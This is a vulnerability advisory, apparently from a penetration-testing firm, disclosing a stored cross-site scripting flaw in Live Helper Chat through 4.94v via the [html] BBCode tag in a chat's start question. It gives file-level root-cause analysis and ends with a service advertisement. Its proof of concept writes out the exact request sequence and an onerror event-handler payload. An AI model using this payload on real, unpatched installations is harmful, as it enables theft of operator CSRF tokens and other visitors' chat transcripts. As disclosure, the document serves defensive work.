Live Helper Chat: Stored XSS via [html] BBCode in the Chat Start Question

An anonymous visitor puts [html] into the start question of a chat; the visitor view emits the content as raw HTML, also in the browser of a logged-in operator who opens the chat URL.

Advisory ID: TP-2026-154
Product: Live Helper Chat (open-source live support chat application for websites)
Vulnerability type: Stored cross-site scripting (CWE-79)
CVE: not requested
CVSS 3.1: 8.2 (High) · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Vendor advisory: GHSA-2vc6-m33r-8v36
Affected versions: up to and including 4.94v (verified live: commit d8787d04)
Fixed in: 4.95v
Reported: 10 October 2026

Summary

Live Helper Chat is an open-source live support chat application for websites. The BBCode filter knows two markers for messages from visitors, sender and user_id_raw, but the removal of the [html] tag checks sender only. The renderer of the visitor view passes user_id_raw alone, so the removal does not run and the tag content is decoded and emitted as HTML. The start question of a chat is stored unchanged as a visitor message. An anonymous visitor stores HTML with an event handler that runs in the application origin for anyone who opens the chat URL, including a logged-in operator.

Root cause

isBBCodeTagSupported treats sender == 0 or user_id_raw == 0 as the marker of a visitor message in lhc_web/lib/core/lhbbcode/lhbbcode.php:1255.
The removal of [html] in lhbbcode.php:1375 checks sender alone.
The visitor renderer lhc_web/design/defaulttheme/tpl/lhchat/lists/user_msg_row.tpl.php:71 passes render_html and user_id_raw but no sender key, so the removal does not run and the callback in lhbbcode.php:1384 emits the tag content decoded with htmlspecialchars_decode().
lhc_web/modules/lhchat/startchat.php:442 stores the start question unchanged as a message with user_id = 0.
lhbbcode.php:1393 removes <script> elements when render_js is not set, while event handler attributes pass this point unchanged.

Proof of Concept

GET  /index.php/chat/startchat                        -> session cookie + (vid)
GET  /index.php/captcha/captchastring/form/<unixts>   -> {"result":"<sha256>"}

POST /index.php/chat/startchat/(vid)/<vid> HTTP/1.1

Question=[html]<img src=x onerror="window.VRFYXSS=1">VRFYMARK[/html]
&StartChat=1&DepartamentID=1&user_timezone=1
&tscaptcha=<unixts>&captcha_<sha256>=<unixts>

HTTP/1.1 302  ->  /index.php/chat/chat/<id>/<hash>

GET /index.php/eng/chat/chatpreview/<id>/<hash> HTTP/1.1

<img src="x" onerror="window.VRFYXSS=1">VRFYMARK

The start question is stored with user_id = 0 and emitted unescaped in the visitor view; in Chromium the handler runs and window.VRFYXSS is 1. Verified on 4.94v (commit d8787d04) in Docker with the default configuration as an anonymous visitor. In a browser where an operator was logged in, a fetch from the payload read that operator's CSRF token and the transcript of another visitor's chat. The same payload sent to chat/addmsguser is removed completely, as the control.

Impact

  • Script execution in the application origin for anyone who opens the attacker's chat URL, including a logged-in operator.
  • From an operator session the payload reads the CSRF token and the transcripts of other visitors, both demonstrated.
  • The payload is stored and runs on every later render of that chat.
  • In the operator views the message appears with an empty body, so the defect is not visible there.

References

Is Something Like This in Your Software?

Our team found this vulnerability during its work. Have your applications tested by the same specialists, with a penetration test from turingpoint.